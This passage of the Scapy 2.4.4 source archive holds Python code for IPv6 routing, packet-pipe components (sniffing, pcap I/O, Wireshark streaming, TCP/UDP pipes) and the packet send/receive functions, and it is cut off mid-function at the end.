construct_source_candidate_set, \ get_source_addr_from_candidate_set from scapy.arch import read_routes6, in6_getifaddr from scapy.pton_ntop import inet_pton, inet_ntop from scapy.error import warning, log_loading import scapy.modules.six as six from scapy.utils import pretty_list class Route6: def __init__(self): self.resync() self.invalidate_cache() def invalidate_cache(self): self.cache = {} def flush(self): self.invalidate_cache() self.ipv6_ifaces = set() self.routes = [] def resync(self): # TODO : At the moment, resync will drop existing Teredo routes # if any. Change that ... self.invalidate_cache() self.routes = read_routes6() self.ipv6_ifaces = set() for route in self.routes: self.ipv6_ifaces.add(route[3]) if self.routes == []: log_loading.info("No IPv6 support in kernel") def __repr__(self): rtlst = [] for net, msk, gw, iface, cset, metric in self.routes: rtlst.append(('%s/%i' % (net, msk), gw, (iface if isinstance(iface, six.string_types) else iface.description), ", ".join(cset) if len(cset) > 0 else "", str(metric))) return pretty_list(rtlst, [('Destination', 'Next Hop', "Iface", "Src candidates", "Metric")], # noqa: E501 sortBy=1) # Unlike Scapy's Route.make_route() function, we do not have 'host' and 'net' # noqa: E501 # parameters. We only have a 'dst' parameter that accepts 'prefix' and # 'prefix/prefixlen' values. def make_route(self, dst, gw=None, dev=None): """Internal function : create a route for 'dst' via 'gw'. """ prefix, plen = (dst.split("/") + ["128"])[:2] plen = int(plen) if gw is None: gw = "::" if dev is None: dev, ifaddr, x = self.route(gw) else: lifaddr = in6_getifaddr() devaddrs = [x for x in lifaddr if x[2] == dev] ifaddr = construct_source_candidate_set(prefix, plen, devaddrs) self.ipv6_ifaces.add(dev) return (prefix, plen, gw, dev, ifaddr, 1) def add(self, *args, **kargs): """Ex: add(dst="2001:db8:cafe:f000::/56") add(dst="2001:db8:cafe:f000::/56", gw="2001:db8:cafe::1") add(dst="2001:db8:cafe:f000::/64", gw="2001:db8:cafe::1", dev="eth0") """ self.invalidate_cache() self.routes.append(self.make_route(*args, **kargs)) def remove_ipv6_iface(self, iface): """ Remove the network interface 'iface' from the list of interfaces supporting IPv6. """ if not all(r[3] == iface for r in conf.route6.routes): try: self.ipv6_ifaces.remove(iface) except KeyError: pass def delt(self, dst, gw=None): """ Ex: delt(dst="::/0") delt(dst="2001:db8:cafe:f000::/56") delt(dst="2001:db8:cafe:f000::/56", gw="2001:db8:deca::1") """ tmp = dst + "/128" dst, plen = tmp.split('/')[:2] dst = in6_ptop(dst) plen = int(plen) to_del = [x for x in self.routes if in6_ptop(x[0]) == dst and x[1] == plen] if gw: gw = in6_ptop(gw) to_del = [x for x in self.routes if in6_ptop(x[2]) == gw] if len(to_del) == 0: warning("No matching route found") elif len(to_del) > 1: warning("Found more than one match. Aborting.") else: i = self.routes.index(to_del[0]) self.invalidate_cache() self.remove_ipv6_iface(self.routes[i][3]) del(self.routes[i]) def ifchange(self, iff, addr): the_addr, the_plen = (addr.split("/") + ["128"])[:2] the_plen = int(the_plen) naddr = inet_pton(socket.AF_INET6, the_addr) nmask = in6_cidr2mask(the_plen) the_net = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) for i, route in enumerate(self.routes): net, plen, gw, iface, addr, metric = route if iface != iff: continue self.ipv6_ifaces.add(iface) if gw == '::': self.routes[i] = (the_net, the_plen, gw, iface, [the_addr], metric) # noqa: E501 else: self.routes[i] = (net, plen, gw, iface, [the_addr], metric) self.invalidate_cache() conf.netcache.in6_neighbor.flush() def ifdel(self, iff): """ removes all route entries that uses 'iff' interface. """ new_routes = [] for rt in self.routes: if rt[3] != iff: new_routes.append(rt) self.invalidate_cache() self.routes = new_routes self.remove_ipv6_iface(iff) def ifadd(self, iff, addr): """ Add an interface 'iff' with provided address into routing table. Ex: ifadd('eth0', '2001:bd8:cafe:1::1/64') will add following entry into # noqa: E501 Scapy6 internal routing table: Destination Next Hop iface Def src @ Metric 2001:bd8:cafe:1::/64 :: eth0 2001:bd8:cafe:1::1 1 prefix length value can be omitted. In that case, a value of 128 will be used. """ addr, plen = (addr.split("/") + ["128"])[:2] addr = in6_ptop(addr) plen = int(plen) naddr = inet_pton(socket.AF_INET6, addr) nmask = in6_cidr2mask(plen) prefix = inet_ntop(socket.AF_INET6, in6_and(nmask, naddr)) self.invalidate_cache() self.routes.append((prefix, plen, '::', iff, [addr], 1)) self.ipv6_ifaces.add(iff) def route(self, dst=None, dev=None, verbose=conf.verb): """ Provide best route to IPv6 destination address, based on Scapy internal routing table content. When a set of address is passed (e.g. ``2001:db8:cafe:*::1-5``) an address of the set is used. Be aware of that behavior when using wildcards in upper parts of addresses ! If 'dst' parameter is a FQDN, name resolution is performed and result is used. if optional 'dev' parameter is provided a specific interface, filtering is performed to limit search to route associated to that interface. """ dst = dst or "::/0" # Enable route(None) to return default route # Transform "2001:db8:cafe:*::1-5:0/120" to one IPv6 address of the set dst = dst.split("/")[0] savedst = dst # In case following inet_pton() fails dst = dst.replace("*", "0") idx = dst.find("-") while idx >= 0: m = (dst[idx:] + ":").find(":") dst = dst[:idx] + dst[idx + m:] idx = dst.find("-") try: inet_pton(socket.AF_INET6, dst) except socket.error: dst = socket.getaddrinfo(savedst, None, socket.AF_INET6)[0][-1][0] # TODO : Check if name resolution went well # Choose a valid IPv6 interface while dealing with link-local addresses if dev is None and (in6_islladdr(dst) or in6_ismlladdr(dst)): dev = conf.iface # default interface # Check if the default interface supports IPv6! if dev not in self.ipv6_ifaces and self.ipv6_ifaces: tmp_routes = [route for route in self.routes if route[3] != conf.iface] default_routes = [route for route in tmp_routes if (route[0], route[1]) == ("::", 0)] ll_routes = [route for route in tmp_routes if (route[0], route[1]) == ("fe80::", 64)] if default_routes: # Fallback #1 - the first IPv6 default route dev = default_routes[0][3] elif ll_routes: # Fallback #2 - the first link-local prefix dev = ll_routes[0][3] else: # Fallback #3 - the loopback dev = conf.loopback_name warning("The conf.iface interface (%s) does not support IPv6! " "Using %s instead for routing!" % (conf.iface, dev)) # Deal with dev-specific request for cache search k = dst if dev is not None: k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name) # noqa: E501 if k in self.cache: return self.cache[k] paths = [] # TODO : review all kinds of addresses (scope and *cast) to see # if we are able to cope with everything possible. I'm convinced # it's not the case. # -- arnaud for p, plen, gw, iface, cset, me in self.routes: if dev is not None and iface != dev: continue if in6_isincluded(dst, p, plen): paths.append((plen, me, (iface, cset, gw))) elif (in6_ismlladdr(dst) and in6_islladdr(p) and in6_islladdr(cset[0])): # noqa: E501 paths.append((plen, me, (iface, cset, gw))) if not paths: if dst == "::1": return (conf.loopback_name, "::1", "::") else: if verbose: warning("No route found for IPv6 destination %s " "(no default route?)", dst) return (conf.loopback_name, "::", "::") # Sort with longest prefix first then use metrics as a tie-breaker paths.sort(key=lambda x: (-x[0], x[1])) best_plen = (paths[0][0], paths[0][1]) paths = [x for x in paths if (x[0], x[1]) == best_plen] res = [] for p in paths: # Here we select best source address for every route tmp = p[2] srcaddr = get_source_addr_from_candidate_set(dst, tmp[1]) if srcaddr is not None: res.append((p[0], p[1], (tmp[0], srcaddr, tmp[2]))) if res == []: warning("Found a route for IPv6 destination '%s', but no possible source address.", dst) # noqa: E501 return (conf.loopback_name, "::", "::") # Symptom : 2 routes with same weight (our weight is plen) # Solution : # - dst is unicast global. Check if it is 6to4 and we have a source # 6to4 address in those available # - dst is link local (unicast or multicast) and multiple output # interfaces are available. Take main one (conf.iface) # - if none of the previous or ambiguity persists, be lazy and keep # first one if len(res) > 1: tmp = [] if in6_isgladdr(dst) and in6_isaddr6to4(dst): # TODO : see if taking the longest match between dst and # every source addresses would provide better results tmp = [x for x in res if in6_isaddr6to4(x[2][1])] elif in6_ismaddr(dst) or in6_islladdr(dst): # TODO : I'm sure we are not covering all addresses. Check that tmp = [x for x in res if x[2][0] == conf.iface] if tmp: res = tmp # Fill the cache (including dev-specific request) k = dst if dev is not None: k = dst + "%%" + (dev if isinstance(dev, six.string_types) else dev.pcap_name) # noqa: E501 self.cache[k] = res[0][2] return res[0][2] conf.route6 = Route6() scapy-2.4.4/scapy/scapypipes.py000066400000000000000000000344011372370053500165200ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license from __future__ import print_function import socket import subprocess from scapy.modules.six.moves.queue import Queue, Empty from scapy.pipetool import Source, Drain, Sink from scapy.config import conf from scapy.compat import raw from scapy.utils import ContextManagerSubprocess, PcapReader, PcapWriter class SniffSource(Source): """Read packets from an interface and send them to low exit. .. code:: +-----------+ >>-| |->> | | >-| [iface]--|-> +-----------+ If neither of the ``iface`` or ``socket`` parameters are specified, then Scapy will capture from the first network interface. :param iface: A layer 2 interface to sniff packets from. Mutually exclusive with the ``socket`` parameter. :param filter: Packet filter to use while capturing. See ``L2listen``. Not used with ``socket`` parameter. :param socket: A ``SuperSocket`` to sniff packets from. """ def __init__(self, iface=None, filter=None, socket=None, name=None): Source.__init__(self, name=name) if (iface or filter) and socket: raise ValueError("iface and filter options are mutually exclusive " "with socket") self.s = socket self.iface = iface self.filter = filter def start(self): if not self.s: self.s = conf.L2listen(iface=self.iface, filter=self.filter) def stop(self): if self.s: self.s.close() def fileno(self): return self.s.fileno() def check_recv(self): return True def deliver(self): try: pkt = self.s.recv() if pkt is not None: self._send(pkt) except EOFError: self.is_exhausted = True class RdpcapSource(Source): """Read packets from a PCAP file send them to low exit. .. code:: +----------+ >>-| |->> | | >-| [pcap]--|-> +----------+ """ def __init__(self, fname, name=None): Source.__init__(self, name=name) self.fname = fname self.f = PcapReader(self.fname) def start(self): self.f = PcapReader(self.fname) self.is_exhausted = False def stop(self): self.f.close() def fileno(self): return self.f.fileno() def check_recv(self): return True def deliver(self): try: p = self.f.recv() self._send(p) except EOFError: self.is_exhausted = True class InjectSink(Sink): """Packets received on low input are injected to an interface .. code:: +-----------+ >>-| |->> | | >-|--[iface] |-> +-----------+ """ def __init__(self, iface=None, name=None): Sink.__init__(self, name=name) if iface is None: iface = conf.iface self.iface = iface def start(self): self.s = conf.L2socket(iface=self.iface) def stop(self): self.s.close() def push(self, msg): self.s.send(msg) class Inject3Sink(InjectSink): def start(self): self.s = conf.L3socket(iface=self.iface) class WrpcapSink(Sink): """ Writes :py:class:`Packet` on the low entry to a ``pcap`` file. Ignores all messages on the high entry. .. note:: Due to limitations of the ``pcap`` format, all packets **must** be of the same link type. This class will not mutate packets to conform with the expected link type. .. code:: +----------+ >>-| |->> | | >-|--[pcap] |-> +----------+ :param fname: Filename to write packets to. :type fname: str :param linktype: See :py:attr:`linktype`. :type linktype: None or int .. py:attribute:: linktype Set an explicit link-type (``DLT_``) for packets. This must be an ``int`` or ``None``. This is the same as the :py:func:`wrpcap` ``linktype`` parameter. If ``None`` (the default), the linktype will be auto-detected on the first packet. This field will *not* be updated with the result of this auto-detection. This attribute has no effect after calling :py:meth:`PipeEngine.start`. """ def __init__(self, fname, name=None, linktype=None): Sink.__init__(self, name=name) self.fname = fname self.f = None self.linktype = linktype def start(self): self.f = PcapWriter(self.fname, linktype=self.linktype) def stop(self): if self.f: self.f.flush() self.f.close() def push(self, msg): if msg: self.f.write(msg) class WiresharkSink(WrpcapSink): """ Streams :py:class:`Packet` from the low entry to Wireshark. Packets are written into a ``pcap`` stream (like :py:class:`WrpcapSink`), and streamed to a new Wireshark process on its ``stdin``. Wireshark is run with the ``-ki -`` arguments, which cause it to treat ``stdin`` as a capture device. Arguments in :py:attr:`args` will be appended after this. Extends :py:mod:`WrpcapSink`. .. code:: +----------+ >>-| |->> | | >-|--[pcap] |-> +----------+ :param linktype: See :py:attr:`WrpcapSink.linktype`. :type linktype: None or int :param args: See :py:attr:`args`. :type args: None or list[str] .. py:attribute:: args Additional arguments for the Wireshark process. This must be either ``None`` (the default), or a ``list`` of ``str``. This attribute has no effect after calling :py:meth:`PipeEngine.start`. See :manpage:`wireshark(1)` for more details. """ def __init__(self, name=None, linktype=None, args=None): WrpcapSink.__init__(self, fname=None, name=name, linktype=linktype) self.args = args def start(self): # Wireshark must be running first, because PcapWriter will block until # data has been read! with ContextManagerSubprocess(conf.prog.wireshark): args = [conf.prog.wireshark, "-Slki", "-"] if self.args: args.extend(self.args) proc = subprocess.Popen( args, stdin=subprocess.PIPE, stdout=None, stderr=None, ) self.fname = proc.stdin WrpcapSink.start(self) class UDPDrain(Drain): """UDP payloads received on high entry are sent over UDP .. code:: +-------------+ >>-|--[payload]--|->> | X | >-|----[UDP]----|-> +-------------+ """ def __init__(self, ip="127.0.0.1", port=1234): Drain.__init__(self) self.ip = ip self.port = port def push(self, msg): from scapy.layers.inet import IP, UDP if IP in msg and msg[IP].proto == 17 and UDP in msg: payload = msg[UDP].payload self._high_send(raw(payload)) def high_push(self, msg): from scapy.layers.inet import IP, UDP p = IP(dst=self.ip) / UDP(sport=1234, dport=self.port) / msg self._send(p) class FDSourceSink(Source): """Use a file descriptor as source and sink .. code:: +-------------+ >>-| |->> | | >-|-[file desc]-|-> +-------------+ """ def __init__(self, fd, name=None): Source.__init__(self, name=name) self.fd = fd def push(self, msg): self.fd.write(msg) def fileno(self): return self.fd.fileno() def deliver(self): self._send(self.fd.read()) class TCPConnectPipe(Source): """TCP connect to addr:port and use it as source and sink .. code:: +-------------+ >>-| |->> | | >-|-[addr:port]-|-> +-------------+ """ __selectable_force_select__ = True def __init__(self, addr="", port=0, name=None): Source.__init__(self, name=name) self.addr = addr self.port = port self.fd = None def start(self): self.fd = socket.socket() self.fd.connect((self.addr, self.port)) def stop(self): if self.fd: self.fd.close() def push(self, msg): self.fd.send(msg) def fileno(self): return self.fd.fileno() def deliver(self): try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) class TCPListenPipe(TCPConnectPipe): """TCP listen on [addr:]port and use first connection as source and sink; send peer address to high output .. code:: +------^------+ >>-| +-[peer]-|->> | / | >-|-[addr:port]-|-> +-------------+ """ __selectable_force_select__ = True def __init__(self, addr="", port=0, name=None): TCPConnectPipe.__init__(self, addr, port, name) self.connected = False self.q = Queue() def start(self): self.connected = False self.fd = socket.socket() self.fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self.fd.bind((self.addr, self.port)) self.fd.listen(1) def push(self, msg): if self.connected: self.fd.send(msg) else: self.q.put(msg) def deliver(self): if self.connected: try: msg = self.fd.recv(65536) except socket.error: self.stop() raise if msg: self._send(msg) else: fd, frm = self.fd.accept() self._high_send(frm) self.fd.close() self.fd = fd self.connected = True self._trigger(frm) while True: try: self.fd.send(self.q.get(block=False)) except Empty: break class TriggeredMessage(Drain): """Send a preloaded message when triggered and trigger in chain .. code:: +------^------+ >>-| | /----|->> | |/ | >-|-[ message ]-|-> +------^------+ """ def __init__(self, msg, name=None): Drain.__init__(self, name=name) self.msg = msg def on_trigger(self, trigmsg): self._send(self.msg) self._high_send(self.msg) self._trigger(trigmsg) class TriggerDrain(Drain): """Pass messages and trigger when a condition is met .. code:: +------^------+ >>-|-[condition]-|->> | | | >-|-[condition]-|-> +-------------+ """ def __init__(self, f, name=None): Drain.__init__(self, name=name) self.f = f def push(self, msg): v = self.f(msg) if v: self._trigger(v) self._send(msg) def high_push(self, msg): v = self.f(msg) if v: self._trigger(v) self._high_send(msg) class TriggeredValve(Drain): """Let messages alternatively pass or not, changing on trigger .. code:: +------^------+ >>-|-[pass/stop]-|->> | | | >-|-[pass/stop]-|-> +------^------+ """ def __init__(self, start_state=True, name=None): Drain.__init__(self, name=name) self.opened = start_state def push(self, msg): if self.opened: self._send(msg) def high_push(self, msg): if self.opened: self._high_send(msg) def on_trigger(self, msg): self.opened ^= True self._trigger(msg) class TriggeredQueueingValve(Drain): """Let messages alternatively pass or queued, changing on trigger .. code:: +------^-------+ >>-|-[pass/queue]-|->> | | | >-|-[pass/queue]-|-> +------^-------+ """ def __init__(self, start_state=True, name=None): Drain.__init__(self, name=name) self.opened = start_state self.q = Queue() def start(self): self.q = Queue() def push(self, msg): if self.opened: self._send(msg) else: self.q.put((True, msg)) def high_push(self, msg): if self.opened: self._send(msg) else: self.q.put((False, msg)) def on_trigger(self, msg): self.opened ^= True self._trigger(msg) while True: try: low, msg = self.q.get(block=False) except Empty: break else: if low: self._send(msg) else: self._high_send(msg) class TriggeredSwitch(Drain): r"""Let messages alternatively high or low, changing on trigger .. code:: +------^------+ >>-|-\ | /-|->> | [up/down] | >-|-/ | \-|-> +------^------+ """ def __init__(self, start_state=True, name=None): Drain.__init__(self, name=name) self.low = start_state def push(self, msg): if self.low: self._send(msg) else: self._high_send(msg) high_push = push def on_trigger(self, msg): self.low ^= True self._trigger(msg) class ConvertPipe(Drain): """Packets sent on entry are converted to another type of packet. .. code:: +-------------+ >>-|--[convert]--|->> | | >-|--[convert]--|-> +-------------+ See ``Packet.convert_packet``. """ def __init__(self, low_type=None, high_type=None, name=None): Drain.__init__(self, name=name) self.low_type = low_type self.high_type = high_type def push(self, msg): if self.low_type: msg = self.low_type.convert_packet(msg) self._send(msg) def high_push(self, msg): if self.high_type: msg = self.high_type.convert_packet(msg) self._high_send(msg) scapy-2.4.4/scapy/sendrecv.py000066400000000000000000001175251372370053500161620ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Functions to send and receive packets. """ from __future__ import absolute_import, print_function import itertools from threading import Thread, Event import os import re import subprocess import time import types from scapy.compat import plain_str from scapy.data import ETH_P_ALL from scapy.config import conf from scapy.error import warning from scapy.packet import Gen, Packet from scapy.utils import get_temp_file, tcpdump, wrpcap, \ ContextManagerSubprocess, PcapReader from scapy.plist import PacketList, SndRcvList from scapy.error import log_runtime, log_interactive, Scapy_Exception from scapy.base_classes import SetGen from scapy.modules import six from scapy.modules.six.moves import map from scapy.sessions import DefaultSession from scapy.supersocket import SuperSocket if conf.route is None: # unused import, only to initialize conf.route import scapy.route # noqa: F401 ################# # Debug class # ################# class debug: recv = [] sent = [] match = [] crashed_on = None #################### # Send / Receive # #################### _DOC_SNDRCV_PARAMS = """ :param pks: SuperSocket instance to send/receive packets :param pkt: the packet to send :param rcv_pks: if set, will be used instead of pks to receive packets. packets will still be sent through pks :param nofilter: put 1 to avoid use of BPF filters :param retry: if positive, how many times to resend unanswered packets if negative, how many times to retry when no more packets are answered :param timeout: how much time to wait after the last packet has been sent :param verbose: set verbosity level :param multi: whether to accept multiple answers for the same stimulus :param store_unanswered: whether to store not-answered packets or not. setting it to False will increase speed, and will return None as the unans list. :param process: if specified, only result from process(pkt) will be stored. the function should follow the following format: ``lambda sent, received: (func(sent), func2(received))`` if the packet is unanswered, `received` will be None. if `store_unanswered` is False, the function won't be called on un-answered packets. :param prebuild: pre-build the packets before starting to send them. Automatically enabled when a generator is passed as the packet """ class SndRcvHandler(object): """ Util to send/receive packets, used by sr*(). Do not use directly. This matches the requests and answers. Notes:: - threaded mode: enabling threaded mode will likely break packet timestamps, but might result in a speedup when sending a big amount of packets. Disabled by default - DEVS: store the outgoing timestamp right BEFORE sending the packet to avoid races that could result in negative latency. We aren't Stadia """ def __init__(self, pks, pkt, timeout=None, inter=0, verbose=None, chainCC=False, retry=0, multi=False, rcv_pks=None, prebuild=False, _flood=None, threaded=False, session=None): # Instantiate all arguments if verbose is None: verbose = conf.verb if conf.debug_match: debug.recv = PacketList([], "Received") debug.sent = PacketList([], "Sent") debug.match = SndRcvList([], "Matched") self.nbrecv = 0 self.ans = [] self.pks = pks self.rcv_pks = rcv_pks or pks self.inter = inter self.verbose = verbose self.chainCC = chainCC self.multi = multi self.timeout = timeout self.session = session # Instantiate packet holders if _flood: self.tobesent = pkt self.notans = _flood[0] else: if isinstance(pkt, types.GeneratorType) or prebuild: self.tobesent = [p for p in pkt] self.notans = len(self.tobesent) else: self.tobesent = ( SetGen(pkt) if not isinstance(pkt, Gen) else pkt ) self.notans = self.tobesent.__iterlen__() if retry < 0: autostop = retry = -retry else: autostop = 0 if timeout is not None and timeout < 0: self.timeout = None while retry >= 0: self.hsent = {} if threaded or _flood: # Send packets in thread. # https://github.com/secdev/scapy/issues/1791 snd_thread = Thread( target=self._sndrcv_snd ) snd_thread.setDaemon(True) # Start routine with callback self._sndrcv_rcv(snd_thread.start) # Ended. Let's close gracefully if _flood: # Flood: stop send thread _flood[1]() snd_thread.join() else: self._sndrcv_rcv(self._sndrcv_snd) if multi: remain = [ p for p in itertools.chain(*six.itervalues(self.hsent)) if not hasattr(p, '_answered') ] else: remain = list(itertools.chain(*six.itervalues(self.hsent))) if autostop and len(remain) > 0 and \ len(remain) != len(self.tobesent): retry = autostop self.tobesent = remain if len(self.tobesent) == 0: break retry -= 1 if conf.debug_match: debug.sent = PacketList(remain[:], "Sent") debug.match = SndRcvList(self.ans[:]) # Clean the ans list to delete the field _answered if multi: for snd, _ in self.ans: if hasattr(snd, '_answered'): del snd._answered if verbose: print( "\nReceived %i packets, got %i answers, " "remaining %i packets" % ( self.nbrecv + len(self.ans), len(self.ans), self.notans ) ) self.ans_result = SndRcvList(self.ans) self.unans_result = PacketList(remain, "Unanswered") def results(self): return self.ans_result, self.unans_result def _sndrcv_snd(self): """Function used in the sending thread of sndrcv()""" try: if self.verbose: print("Begin emission:") i = 0 for p in self.tobesent: # Populate the dictionary of _sndrcv_rcv # _sndrcv_rcv won't miss the answer of a packet that # has not been sent self.hsent.setdefault(p.hashret(), []).append(p) # Send packet self.pks.send(p) time.sleep(self.inter) i += 1 if self.verbose: print("Finished sending %i packets." % i) except SystemExit: pass except Exception: log_runtime.exception("--- Error sending packets") def _process_packet(self, r): """Internal function used to process each packet.""" if r is None: return ok = False h = r.hashret() if h in self.hsent: hlst = self.hsent[h] for i, sentpkt in enumerate(hlst): if r.answers(sentpkt): self.ans.append((sentpkt, r)) if self.verbose > 1: os.write(1, b"*") ok = True if not self.multi: del hlst[i] self.notans -= 1 else: if not hasattr(sentpkt, '_answered'): self.notans -= 1 sentpkt._answered = 1 break if self.notans <= 0 and not self.multi: self.sniffer.stop(join=False) if not ok: if self.verbose > 1: os.write(1, b".") self.nbrecv += 1 if conf.debug_match: debug.recv.append(r) def _sndrcv_rcv(self, callback): """Function used to receive packets and check their hashret""" self.sniffer = None try: self.sniffer = AsyncSniffer() self.sniffer._run( prn=self._process_packet, timeout=self.timeout, store=False, opened_socket=self.pks, session=self.session, started_callback=callback ) except KeyboardInterrupt: if self.chainCC: raise def sndrcv(*args, **kwargs): """Scapy raw function to send a packet and receive its answer. WARNING: This is an internal function. Using sr/srp/sr1/srp is more appropriate in many cases. """ sndrcver = SndRcvHandler(*args, **kwargs) return sndrcver.results() def __gen_send(s, x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, *args, **kargs): # noqa: E501 if isinstance(x, str): x = conf.raw_layer(load=x) if not isinstance(x, Gen): x = SetGen(x) if verbose is None: verbose = conf.verb n = 0 if count is not None: loop = -count elif not loop: loop = -1 if return_packets: sent_packets = PacketList() try: while loop: dt0 = None for p in x: if realtime: ct = time.time() if dt0: st = dt0 + float(p.time) - ct if st > 0: time.sleep(st) else: dt0 = ct - float(p.time) s.send(p) if return_packets: sent_packets.append(p) n += 1 if verbose: os.write(1, b".") time.sleep(inter) if loop < 0: loop += 1 except KeyboardInterrupt: pass if verbose: print("\nSent %i packets." % n) if return_packets: return sent_packets @conf.commands.register def send(x, inter=0, loop=0, count=None, verbose=None, realtime=None, return_packets=False, socket=None, iface=None, *args, **kargs): """ Send packets at layer 3 :param x: the packets :param inter: time (in s) between two packets (default 0) :param loop: send packet indefinetly (default 0) :param count: number of packets to send (default None=1) :param verbose: verbose mode (default None=conf.verbose) :param realtime: check that a packet was sent before sending the next one :param return_packets: return the sent packets :param socket: the socket to use (default is conf.L3socket(kargs)) :param iface: the interface to send the packets on :param monitor: (not on linux) send in monitor mode :returns: None """ need_closing = socket is None kargs["iface"] = _interface_selection(iface, x) socket = socket or conf.L3socket(*args, **kargs) results = __gen_send(socket, x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime, return_packets=return_packets) if need_closing: socket.close() return results @conf.commands.register def sendp(x, inter=0, loop=0, iface=None, iface_hint=None, count=None, verbose=None, realtime=None, return_packets=False, socket=None, *args, **kargs): """ Send packets at layer 2 :param x: the packets :param inter: time (in s) between two packets (default 0) :param loop: send packet indefinetly (default 0) :param count: number of packets to send (default None=1) :param verbose: verbose mode (default None=conf.verbose) :param realtime: check that a packet was sent before sending the next one :param return_packets: return the sent packets :param socket: the socket to use (default is conf.L3socket(kargs)) :param iface: the interface to send the packets on :param monitor: (not on linux) send in monitor mode :returns: None """ if iface is None and iface_hint is not None and socket is None: iface = conf.route.route(iface_hint)[0] need_closing = socket is None socket = socket or conf.L2socket(iface=iface, *args, **kargs) results = __gen_send(socket, x, inter=inter, loop=loop, count=count, verbose=verbose, realtime=realtime, return_packets=return_packets) if need_closing: socket.close() return results @conf.commands.register def sendpfast(x, pps=None, mbps=None, realtime=None, loop=0, file_cache=False, iface=None, replay_args=None, # noqa: E501 parse_results=False): """Send packets at layer 2 using tcpreplay for performance :param pps: packets per second :param mpbs: MBits per second :param realtime: use packet's timestamp, bending time with real-time value :param loop: number of times to process the packet list :param file_cache: cache packets in RAM instead of reading from disk at each iteration :param iface: output interface :param replay_args: List of additional tcpreplay args (List[str]) :param parse_results: Return a dictionary of information outputted by tcpreplay (default=False) :returns: stdout, stderr, command used """ if iface is None: iface = conf.iface argv = [conf.prog.tcpreplay, "--intf1=%s" % iface] if pps is not None: argv.append("--pps=%i" % pps) elif mbps is not None: argv.append("--mbps=%f" % mbps) elif realtime is not None: argv.append("--multiplier=%f" % realtime) else: argv.append("--topspeed") if loop: argv.append("--loop=%i" % loop) if file_cache: argv.append("--preload-pcap") # Check for any additional args we didn't cover. if replay_args is not None: argv.extend(replay_args) f = get_temp_file() argv.append(f) wrpcap(f, x) results = None with ContextManagerSubprocess(conf.prog.tcpreplay): try: cmd = subprocess.Popen(argv, stdout=subprocess.PIPE, stderr=subprocess.PIPE) except KeyboardInterrupt: log_interactive.info("Interrupted by user") except Exception: os.unlink(f) raise else: stdout, stderr = cmd.communicate() if stderr: log_runtime.warning(stderr.decode()) if parse_results: results = _parse_tcpreplay_result(stdout, stderr, argv) elif conf.verb > 2: log_runtime.info(stdout.decode()) os.unlink(f) return results def _parse_tcpreplay_result(stdout, stderr, argv): """ Parse the output of tcpreplay and modify the results_dict to populate output information. # noqa: E501 Tested with tcpreplay v3.4.4 Tested with tcpreplay v4.1.2 :param stdout: stdout of tcpreplay subprocess call :param stderr: stderr of tcpreplay subprocess call :param argv: the command used in the subprocess call :return: dictionary containing the results """ try: results = {} stdout = plain_str(stdout).lower() stderr = plain_str(stderr).strip().split("\n") elements = { "actual": (int, int, float), "rated": (float, float, float), "flows": (int, float, int, int), "attempted": (int,), "successful": (int,), "failed": (int,), "truncated": (int,), "retried packets (eno": (int,), "retried packets (eag": (int,), } multi = { "actual": ("packets", "bytes", "time"), "rated": ("bps", "mbps", "pps"), "flows": ("flows", "fps", "flow_packets", "non_flow"), "retried packets (eno": ("retried_enobufs",), "retried packets (eag": ("retried_eagain",), } float_reg = r"([0-9]*\.[0-9]+|[0-9]+)" int_reg = r"([0-9]+)" any_reg = r"[^0-9]*" r_types = {int: int_reg, float: float_reg} for line in stdout.split("\n"): line = line.strip() for elt, _types in elements.items(): if line.startswith(elt): regex = any_reg.join([r_types[x] for x in _types]) matches = re.search(regex, line) for i, typ in enumerate(_types): name = multi.get(elt, [elt])[i] results[name] = typ(matches.group(i + 1)) results["command"] = " ".join(argv) results["warnings"] = stderr[:-1] return results except Exception as parse_exception: if not conf.interactive: raise log_runtime.error("Error parsing output: " + str(parse_exception)) return {} @conf.commands.register def sr(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): """ Send and receive packets at layer 3 """ s = conf.L3socket(promisc=promisc, filter=filter, iface=iface, nofilter=nofilter) result = sndrcv(s, x, *args, **kargs) s.close() return result def _interface_selection(iface, packet): """ Select the network interface according to the layer 3 destination """ if iface is None: try: iff = packet.route()[0] except AttributeError: iff = None return iff or conf.iface return iface @conf.commands.register def sr1(x, promisc=None, filter=None, iface=None, nofilter=0, *args, **kargs): """ Send packets at layer 3 and return only the first answer """ iface = _interface_selection(iface, x) s = conf.L3socket(promisc=promisc, filter=filter, nofilter=nofilter, iface=iface) ans, _ = sndrcv(s, x, *args, **kargs) s.close() if len(ans) > 0: return ans[0][1] @conf.commands.register def srp(x, promisc=None, iface=None, iface_hint=None, filter=None, nofilter=0, type=ETH_P_ALL, *args, **kargs): """ Send and receive packets at layer 2 """ if iface is None and iface_hint is not None: iface = conf.route.route(iface_hint)[0] s = conf.L2socket(promisc=promisc, iface=iface, filter=filter, nofilter=nofilter, type=type) result = sndrcv(s, x, *args, **kargs) s.close() return result @conf.commands.register def srp1(*args, **kargs): """ Send and receive packets at layer 2 and return only the first answer """ ans, _ = srp(*args, **kargs) if len(ans) > 0: return ans[0][1] # Append doc for sr_func in [srp, srp1, sr, sr1]: if sr_func.__doc__ is not None: sr_func.__doc__ += _DOC_SNDRCV_PARAMS # SEND/RECV LOOP METHODS def __sr_loop(srfunc, pkts, prn=lambda x: x[1].summary(), prnfail=lambda x: x.summary(), inter=1, timeout=None, count=None, verbose=None, store=1, *args, **kargs): n = 0 r = 0 ct = conf.color_theme if verbose is None: verbose = conf.verb parity = 0 ans = [] unans = [] if timeout is None: timeout = min(2 * inter, 5) try: while True: parity ^= 1 col = [ct.even, ct.odd][parity] if count is not None: if count == 0: break count -= 1 start = time.time() if verbose > 1: print("\rsend...\r", end=' ') res = srfunc(pkts, timeout=timeout, verbose=0, chainCC=True, *args, **kargs) # noqa: E501 n += len(res[0]) + len(res[1]) r += len(res[0]) if verbose > 1 and prn and len(res[0]) > 0: msg 